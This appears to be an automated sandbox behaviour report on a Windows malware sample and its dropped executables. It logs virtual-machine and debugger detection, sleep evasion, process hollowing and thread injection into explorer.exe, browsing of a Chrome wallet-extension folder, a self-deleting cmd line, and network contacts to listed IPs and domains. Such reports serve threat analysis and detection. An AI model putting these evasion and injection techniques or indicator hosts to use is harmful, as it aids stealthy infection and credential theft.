Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D80A.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\C376.exe

Code function: 23_2_00406AA0

23_2_00406AA0

Source: C:\Windows\explorer.exe TID: 5640	Thread sleep count: 582 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4720	Thread sleep count: 252 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4504	Thread sleep count: 434 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4504	Thread sleep time: -43400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4564	Thread sleep count: 321 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4580	Thread sleep count: 352 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4580	Thread sleep time: -35200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6220	Thread sleep count: 158 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5020	Thread sleep count: 298 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6368	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe TID: 1364	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe TID: 5536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe TID: 4772	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\D80A.exe TID: 5840	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 5656	Thread sleep count: 43 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 582	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 434	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 352	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Window / User API: threadDelayed 1193
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Window / User API: threadDelayed 2020

Source: C:\Users\user\AppData\Local\Temp\C376.exe

Code function: 23_2_00406AA0

23_2_00406AA0

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C209.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\ecrnzymb\ackjzztq.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ackjzztq.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D1AA.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B074.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\D80A.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior

Source: D80A.exe, 00000024.00000002.515836213.0000000000EF2000.00000004.00000020.sdmp	Binary or memory string: VMware
Source: svchost.exe, 00000012.00000002.400911457.0000019CB6AF6000.00000004.00000001.sdmp	Binary or memory string: "@Hyper-V RAW
Source: explorer.exe, 0000000B.00000000.328424479.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000B.00000000.328521380.0000000008778000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 0000000B.00000000.293758336.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000B.00000000.328424479.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: svchost.exe, 00000012.00000003.399404926.0000019CB6A7F000.00000004.00000001.sdmp, svchost.exe, 00000012.00000002.400736573.0000019CB6A80000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW`s
Source: explorer.exe, 0000000B.00000000.293758336.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: svchost.exe, 00000012.00000002.400883461.0000019CB6AE7000.00000004.00000001.sdmp, C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp, C376.exe, 00000017.00000002.432178063.0000000000A70000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: D80A.exe	Binary or memory string: d0mVS9XkRiWyXacaxyBS6zJoYofT5ykryAVrO24oEgDz8KzYGifrrLKgvEP1q2peVRljBPpkqpVMci3wmCKIDINhwJhWPxDkU1VzXfycTZzx/319ADPJfxW5cjPRZAgtAA
Source: C376.exe, 00000017.00000002.432178063.0000000000A70000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWen-USn
Source: explorer.exe, 0000000B.00000000.328424479.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: D80A.exe, 00000024.00000002.515836213.0000000000EF2000.00000004.00000020.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareNSWMKDPTWin32_VideoControllerEYMH3Z4_VideoController120060621000000.000000-00004726330display.infMSBDAU4D6K3UDPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colors6Z63H4C7l
Source: svchost.exe, 00000005.00000002.542881331.000001271B444000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.542430303.000002BC7C829000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.515799306.0000000000EB1000.00000004.00000020.sdmp, D80A.exe, 00000024.00000003.509492857.0000000000EB1000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe

Code function: 25_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

25_2_00401D96

Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_00401280
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_00401090
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	23_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00409970

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe

Code function: 1_2_0041A8EB LoadLibraryA,GetProcAddress,VirtualProtect,

1_2_0041A8EB

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 1_2_00860042 push dword ptr fs:[00000030h]	1_2_00860042
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 15_2_00860042 push dword ptr fs:[00000030h]	15_2_00860042
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 15_2_00A95947 push dword ptr fs:[00000030h]	15_2_00A95947
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 20_2_00B0592F push dword ptr fs:[00000030h]	20_2_00B0592F
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00401000 mov eax, dword ptr fs:[00000030h]	23_2_00401000
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_0040C180 mov eax, dword ptr fs:[00000030h]	23_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00A01F83 push dword ptr fs:[00000030h]	23_2_00A01F83
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: 25_2_0086092B mov eax, dword ptr fs:[00000030h]	25_2_0086092B
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: 25_2_00860D90 mov eax, dword ptr fs:[00000030h]	25_2_00860D90

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe

Code function: 1_2_00428590 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00428590

Source: C:\Users\user\AppData\Local\Temp\C376.exe

Code function: 23_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

23_2_004048D0

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe

1_2_0041C50F

Source: C:\Users\user\AppData\Roaming\aafjaea

Code function: 16_1_004027ED LdrLoadDll,

16_1_004027ED

Source: C:\Users\user\AppData\Local\Temp\C376.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 1_2_00428590 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00428590
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 1_2_00425740 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00425740
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: 25_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	25_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: dodecoin.org
Source: C:\Windows\explorer.exe	Domain query: bitly.com
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: short.link
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: bit.ly
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: CF8D.exe.11.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Memory written: C:\Users\user\Desktop\GJXZRPhgm4.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Memory written: C:\Users\user\AppData\Roaming\aafjaea base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Memory written: C:\Users\user\AppData\Local\Temp\D80A.exe base: 400000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe

Code function: 1_2_00860110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

1_2_00860110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Thread created: C:\Windows\explorer.exe EIP: 4DE1930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Thread created: unknown EIP: 5A91930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Thread created: unknown EIP: 5C11930	Jump to behavior

.NET source code references suspicious native API functions

Show sources

Source: D80A.exe.11.dr, tnemelEyciloPehcaCptFnoitarugifnoCteNmetsyS36227.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: D80A.exe.11.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 26.0.D80A.exe.d20000.3.unpack, tnemelEyciloPehcaCptFnoitarugifnoCteNmetsyS36227.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 26.0.D80A.exe.d20000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 26.0.D80A.exe.d20000.1.unpack, tnemelEyciloPehcaCptFnoitarugifnoCteNmetsyS36227.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 26.0.D80A.exe.d20000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 26.0.D80A.exe.d20000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 26.0.D80A.exe.d20000.2.unpack, tnemelEyciloPehcaCptFnoitarugifnoCteNmetsyS36227.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 26.2.D80A.exe.d20000.0.unpack, tnemelEyciloPehcaCptFnoitarugifnoCteNmetsyS36227.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 26.2.D80A.exe.d20000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 26.0.D80A.exe.d20000.0.unpack, tnemelEyciloPehcaCptFnoitarugifnoCteNmetsyS36227.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 26.0.D80A.exe.d20000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 36.0.D80A.exe.660000.13.unpack, tnemelEyciloPehcaCptFnoitarugifnoCteNmetsyS36227.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 36.0.D80A.exe.660000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 36.0.D80A.exe.400000.4.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 36.0.D80A.exe.660000.0.unpack, tnemelEyciloPehcaCptFnoitarugifnoCteNmetsyS36227.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 36.0.D80A.exe.660000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 36.0.D80A.exe.400000.10.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 36.0.D80A.exe.660000.9.unpack, tnemelEyciloPehcaCptFnoitarugifnoCteNmetsyS36227.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 36.0.D80A.exe.660000.9.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Process created: C:\Users\user\Desktop\GJXZRPhgm4.exe "C:\Users\user\Desktop\GJXZRPhgm4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Process created: C:\Users\user\AppData\Roaming\aafjaea C:\Users\user\AppData\Roaming\aafjaea	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Process created: C:\Users\user\AppData\Local\Temp\B7EC.exe C:\Users\user\AppData\Local\Temp\B7EC.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\C376.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process created: C:\Users\user\AppData\Local\Temp\D80A.exe C:\Users\user\AppData\Local\Temp\D80A.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe

Code function: 25_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

25_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe

Code function: 25_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

25_2_00407809

Source: explorer.exe, 0000000B.00000000.305312116.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000B.00000000.319587893.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000B.00000000.291631209.0000000000B68000.00000004.00000020.sdmp	Binary or memory string: Progman\Pr
Source: explorer.exe, 0000000B.00000000.291829495.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.306743472.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.319896976.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000B.00000000.310561786.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 0000000B.00000000.291829495.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.306743472.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.319896976.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000B.00000000.291829495.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.306743472.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.319896976.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000B.00000000.291829495.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.306743472.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000B.00000000.319896976.00000000011E0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000B.00000000.298295937.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000B.00000000.314395584.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000B.00000000.328521380.0000000008778000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndh

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,	1_2_0043C8C0
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: _strlen,EnumSystemLocalesA,	1_2_00435CE0
